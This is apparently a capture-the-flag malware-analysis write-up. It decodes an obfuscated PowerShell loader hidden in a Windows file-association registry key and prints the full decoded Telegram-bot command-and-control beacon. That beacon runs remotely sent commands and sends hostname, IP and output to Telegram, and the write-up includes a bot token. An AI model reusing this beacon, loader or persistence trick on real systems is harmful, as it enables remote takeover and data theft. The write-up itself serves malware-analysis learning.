WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABnAHAAIAAnAFIAZQBnAGkAcwB0AHIAeQA6ADoASABLAEUAWQBfAEMATABBAFMAUwBFAFMAXwBSAE8ATwBUAFwAcwBpAGIAZQByAHMAaQBhAGcAYQBmAGkAbABlAFwAcwBoAGUAbABsAFwAbwBwAGUAbgBcAGMAbwBtAG0AYQBuAGQAJwAgAC0ATgBhAG0AZQAgACcAcwBpAGIAZQByAHMAaQBhAGcAYQAnACkALgAnAHMAaQBiAGUAcgBzAGkAYQBnAGEAJwApAHwAJQAgAC0AQgBlAGcAaQBuAHsAJABpAD0AMAB9ACAALQBQAHIAbwBjAGUAcwBzAHsAJABfACAAPQAgACQAXwAgAC0AYgB4AG8AcgAgACQAaQAlADIANQA2ADsAJABpACsAKwA7ACQAXwB9ACkAKQAgAHwAIABpAGUAeAA=
Loading the script into CyberChef and applying the FromBase64
recipe along with the Decode text
recipe reveals the actual PowerShell command:
[System.Text.Encoding]::UTF8.GetString(([System.Convert]::FromBase64String((gp 'Registry::HKEY_CLASSES_ROOT\sibersiagafile\shell\open\command' -Name 'sibersiaga').'sibersiaga')|% -Begin{$i=0} -Process{$_ = $_ -bxor $i%256;$i++;$_})) | iex
The reason why UTF-16LE encoding is used for PowerShell is because Windows jumped from code pages (called multi byte) to UTF-16LE (called wide char). It made the code simpler if you assume all chars were 16 bits. They assumed that (this encoding is called UCS-2). Unicode consortium later decided 16 bits was not enough, but it was too late for Microsoft to change course. So, their definition of “wide char” just changed from UCS-2 to UTF-16LE.
Analysis
With all the puzzle pieces gathered, let’s ermmm piece them all together! What happens after a user launches the executable and the DLL function is called is as follows:
-
Creates a key in
SOFTWARE\Classes\.sibersiaga
. This registry maps file extensions to ProgIDs (Programmatic Identifiers), helping the system determine which program to use for opening a file with a particular extension. -
The Default value of
sibersiagafile
is set. -
Another key is created in
SOFTWARE\Classes\sibersiagafile\shell\open\command
The
\shell\open\command
key determines what action is taken when a file type is opened -
The Default value of executing the encoded PowerShell command is set.
-
The encoded PowerShell command will get the
sibersiaga
subkey from theHKEY_CLASSES_ROOT\sibersiagafile\shell\open\command
key in the registry. The value of the
sibersiaga
subkey is encoded and encrypted as follows:- Each byte in the byte array is iterated over with the variable
$i
. - A XOR operation on each byte with the current value of
$i
and$i
is kept under 256 using a modulo operation - The modulo operation ensures that the values stays between
0-255
as the XOR operation is being performed at the byte level. $i
is then incremented after processing each byte.- Then , the result will be encoded in Base64
- The Base64 value will then be XORed with 2 as the key
- Each byte in the byte array is iterated over with the variable
-
The purpose of the encoded PowerShell script is used to decrypt and decode the value of the
sibersiaga
string and execute it withiex
orInvoke-Expression
in PowerShell. -
The encoded PowerShell script will only execute when a file with the
sibersiaga
extension is opened. -
That’s where the other PowerShell script is used, the one downloaded onto the victim.
-
The script will append the result of the
whoami
command into a file calleds.sibersiaga
. -
The script will then launch the file as a process in
notepad.exe
, which will start the encoded PowerShell script in the registry. -
The script will then delete
s.sibersiaga
which will closenotepad.exe
.
Knowing how the value sibersiaga
subkey is encrypted and encoded, let’s create a python script to deobfuscate the string.
import base64
def xor_decoder(encoded_string, xor_value=2):
decoded_chars = [chr(ord(char) ^ xor_value) for char in encoded_string]
return ''.join(decoded_chars)
def char_xor_decoder(input_bytes):
output_bytes = bytearray(len(input_bytes))
i = 0
for byte in input_bytes:
decoded_byte = byte ^ (i % 256)
output_bytes[i] = decoded_byte
i += 1
return output_bytes
function_101010_string_4= 'U3H5aJ@ec{nE`J6nZ0j:gZn{f2L5dJjhTZj2glv6`GKcE1DEP3@WVnzSgnnFUWDOZ32RazuZ[nvNACeXG@;sWxLua0DmXzKpM0vocP:)Klz{gD;XaAG7RF21X1nscUztTnnVU3LaZA[rNx:RASu)NQ[AIzi4EiWeQnPOQV[TVjRq7qpG3)c-25)zsKcEsgdppcUirIUim4QjsHgPwRF1)70HzfMGj)5q4-{S;)lF0O`A1vxg2ftAnXkW3LpP0H5sqIUhv4Jq4HI6pcw-saFG45giw5d24R`-t4l4)XQUl[pctcgLim{WkKcGh6U[x:5AlrAdnvQQe74a2LQakXQc:emnc1O7`JPsIAvkd1j;dVW-Rlv3f1r6aZD)LJX7OlftCkumNk6mNG7MCSmESiHcFzj-T2SXgnPfZTrME0;GVWqnNEuZNFahHkueHAzkCFq5LQn4fxK2MkS;fZr-M{e1M2nKVFSDF@Km@ezAUiTGDUH4WTHVT@CMJez2aCXzfzaXsIZt4wAns)`o5cst4-hl45lsl7o2v`c1:gt1w5JK5RcCe:pZ2LZTl[gE{;tDe;pI1LVTufZ[oLhI1rZX2:ocn)Q3pckjs)-mw4{ip6Emt`{zvpdqv501m6gutw`6;ds0jOhGn6EfivpOhr)AkO1W3fFTn70Ax5U6vcotp5otqN7LPAK7RkWk`lergE7t[o@jfZHoflC2L@mQX@aPgZDvge@cN{iG@S[JFG7dSieLGu;pTifcWEeOFZXaVZzHTDmZcU:nLk2jQ23mcUrpJ{e4[jinLx6GHxilRQqwKlz-DjShLDe-KSqSFjmE@C[HCzrLWDuaGjiSTnW-NFO-Zn3VAgJv;)cimgJ{6g0Jec{vps-76-)xwaFi-pk5:w-m5g0nh65F2:0N2qNGxO1XxaACuONUlfJ`uXIdlO1T2LlVn7AxrI{lkcA3vIowp-Qtrc)5h5k05tF;:p4::R{twcUs6qQEn6sCzfxf{O0RjXpZpcA;mcglqcg6vpU:0qJE1fsUaADqXlOnXUjoX0;mgEPj[VGxJznrE@z)dhG)flT7RhHHWizOWCT;ViXffuHZKASRG@GQD3naWjaDESm0LiCxLVarI{:j`ZfwO2PCc0zv`juiOAClgS[4Oh2rgo3qXnLTSGDAS2uODCrKPF:X@W3O@uSDCe@MUniUA@@WFziPEzh{6M)v4-djsMpo-s)isdpe)-V:wpt{:)RL4d544Rhvt[oR2O`Z2OpV3KxPrscLhm)SiXIVnLxSn7Af3;N[lXRVvMJolMsuvsMrtc)Wrcll54ta0RR2;d`1)Rl4)-x;-twLkK`guNpKirkLk7)HqmgN{-x62;VT3vd[0fp`1L1g007e`0[mKZHog0K1N3Oh[0rh[lL2aVvkao@vMhXt`ZH0TCGCCz6d@eWVHACNFC2MFzCPGjOWDPXgZjiQEzSXWD6vHEHwIAuvKojvKxvn`UOeKlD4fxm2MxH6fF[{Lxj)guWRDDilIkq1RV2tMQKqK{rXWT:a@nTgWz[[Dz7aW@KU4)Qkr)Ru5)Mjscdi-s0os-5u--c2wRp):-{4wd1z:p0HkKN[sc)Ej6kHkmwOh[4RiHEQi7QTivpf{qlc0;kgewFn4wgurNUq4NZsmso37-1w;)RxsRUXmsx2kc)wvNA60)xmu:VDzqdK{apNxO1Mx;FP2rsQ3f5T0vlZlm1f0rHnalDk[0CtdCWFIkqqNQ6tOFG{OxS3Lha6MVm5RF24aiTQWWHFS@qDdGjXSCzrSWDTG@C)RjWUDzeXEjqaJP6d[EDk[0S6Q23mcUrp`E3w`1@zalL2fZX1dFvlc0fSTJ;CSWHFPGTEP2jHQivOVW6[E@egDnPfWjT[T@[RZDiVEtR{6)Vjs:pk7w5)64Uv;[Icq`IxvNU0v5k7wpw:t`4-eKEAe6Q@z[gTkX4`lH0TmpsPirMWnXcZoHoco7{flr-e6gNh7I{e7)Fj5shq7w5pqth{-pMj;tM3tIomt`s5:c{GhKQSha)axKpZx6EKlX{PnrdfwHA[iK{P0v5a{a5ROJuRAQSnHkamIQmpNA2wNxCzOhO2LV[1aUv1MxDK`J[CC2rZWDTTJSaEQ3vDC3rIZDPTSTT[EDjIZjTXW2icD0S3NQejI0;mM{uiNuGmRVuzLhfqLx21KuauRoX6fZm0@GjGDuGfGnrOFj:AAG3WTT@TDz2AVxW6LQitNxitOF5LzII7tsUk5tkr4)Z-)wt;qRx16Md2:dI6m5s-vNl@qa1G2fFDuqMHzaxX0O1I{-FX3XtV0rEgi;Za{ahf0vwPi5QeqNA1p4ot6g4r6Mov7tlx1;l2;d`1)Rl4)-x;-t-CuaNFzOZEz:{Nuf`KhwRn2LJQ2;VT3vd[0fp`1L1g112OAAOiHQ[lIAisI{uvNlKfExKxLFW0Lxe7Xz[URV6-CCGACuP0S3OD[D7MSZ3aSG@WSGfLDPP-a1rtCU@6WGirO{2vIQCmO0rrX{WvKAvtaeSkLxWjO1T6fAu4OAe5d2SOAufr`2XJQGiZXo[S'
print(char_xor_decoder(base64.b64decode(xor_decoder(string4,2))))
And this is what we get:
[System.Net.ServicePointManager]::SecurityProtocol=@("Tls12","Tls11","Tls","Ssl3")
$token="6420681879:AAFUdeaPBVsYjNo3W2-62Jh0llgHGSc9T78"
$id=467115391
$mid=(gp "HKCU:\\Environment" -name Update).Update
$guid = (gp "HKCU:\\Environment" -name guid).guid
$ip=irm "https://ifconfig.me/ip"
if( -not (New-Object System.Threading.Mutex($false, $guid)).WaitOne(1)){
exit
}
if($mid -and $guid){
irm -Uri "https://api.telegram.org/bot$($token)/sendMessage?chat_id=$($id)&text=$guid :: $env:COMPUTERNAME :: $ip reconnected!"
}
else {
$guid = [guid]::NewGuid().guid
Set-ItemProperty "HKCU:\\Environment" -name "GUID" -value $guid
irm -Uri "https://api.telegram.org/bot$($token)/sendMessage?chat_id=$($id)&text=$guid :: $env:COMPUTERNAME :: $ip new connection!"
}
if($mid -isnot [int]){
$mid = 0
}
while(1){
Start-Sleep 60;
(irm -Uri "https://api.telegram.org/bot$($token)/getUpdates").result|%{
if ($mid -lt $_.update_id) {
$mid=$_.update_id;
$name,$task=$_.message.text -split " :: ";
if ( ($name -like $ip) -or ($name -like $env:COMPUTERNAME) -or ($name -like $guid) -or ($name -like "all")) {
$message = $($task | iex)2>&1 | Out-String;
if ("" -eq $message){
$message="Task Done!"
}
$b=0;
while ($b -lt $message.Length) {
$c = 4000;
if (($c + $b) -gt $message.Length){$c=$message.Length % 4000}
irm -Uri "https://api.telegram.org/bot$($token)/sendMessage?chat_id=$($id)&text=$guid :: $env:COMPUTERNAME :: $ip answer message : $($_.message.message_id)`n$($message.Substring($b,$c))"
$b+=$c
}
}
}
Set-ItemProperty "HKCU:\\Environment" -name "Update" -value $mid
}
}
This PowerShell script is basically a Command and Control (C2) beacon which is programmed to receive and send responses through a Telegram bot. In the script, we have the bot $token
and the chat_id
of the conversation with the Telegram bot.
-
The script will check whether 2 instances of the script is running through the
$guid
, if it is the script will exit -
Then, if the registry subkeys
Update
andguid
exists withinHKCU:\Environment
, it will send a web request withirm
orInvoke-RestMethod
to the Telegram bot with the IP address of the machine, which is obtained through a web request withirm
tohttp://ifconfig.me/ip
. The$guid
and hostname are also sent with the message “reconnected!” -
Otherwise, the script will create a new
$guid
-
The script enters a loop that runs indefinitely.
-
At the beginning of each loop iteration, the script sleeps for 60 seconds. This pause limits the frequency of Telegram API requests.
-
The script sends a request to the Telegram bot API to retrieve any new updates (messages) using the bot’s token.
-
For each update received from the bot, the script checks if the update’s ID (
update_id
) is greater than the last processed ID ($mid
), indicating a new message. -
Each new message is split into two parts:
name
andtask
, based on the delimiter " :: “. -
The script checks if the
name
part of the message matches this system’s IP, computer name, GUID, or the string “all”. -
If the message is intended for this system, the
task
part of the message is executed as a PowerShell command. -
The output of the executed command is captured. If there is no output, a default message “Task Done!” is used.
-
The script sends the output back to the Telegram chat. If the output is long, it breaks it into chunks of up to 4000 characters and sends each chunk separately.
-
After processing each message, the script updates the last processed message ID in the registry. This ensures that messages are not processed more than once.
-
The script returns to the beginning of the loop and repeats this process indefinitely.
Fareed gave me a glimpse of the backend of the malware as I was writing this write up, so that’s basically how the C2 server looks like.
Of course I’m going redact some things duh…
Reading the Telegram documentation for API calls. I found out that the fowardMessage
method allows us to forward messages based on the chat_id
, from_chat_id
and message_id
. When the method is successfully called, the forwarded message will be returned.
https://api.telegram.org/bot6420681879:AAFUdeaPBVsYjNo3W2-62Jh0llgHGSc9T78/forwardMessage?from_chat_id=467115391&message_id=13&chat_id=467115391
Knowing that we have the chat_id
, let’s enumerate the message_id
, the identifier of the messages in the chat_id
by forwarding the message to the same chat_id
.
Going through the message_id
, we found one that has the flag!
In conclusion, during the CTF, I was not the best Forensics person nor was I the best reverse engineer. However, I am a determined learner, and after months after the CTF I am finally able to comprehend the hardest challenge I have ever done so far. Lastly, of course thank you Fareed for making this challenge as this was the start of my journey of Trying Harder in Forensics and Malware Analysis.
Flag: sibersiaga{now_y0u_kn0w_how_telegram_C2_works!}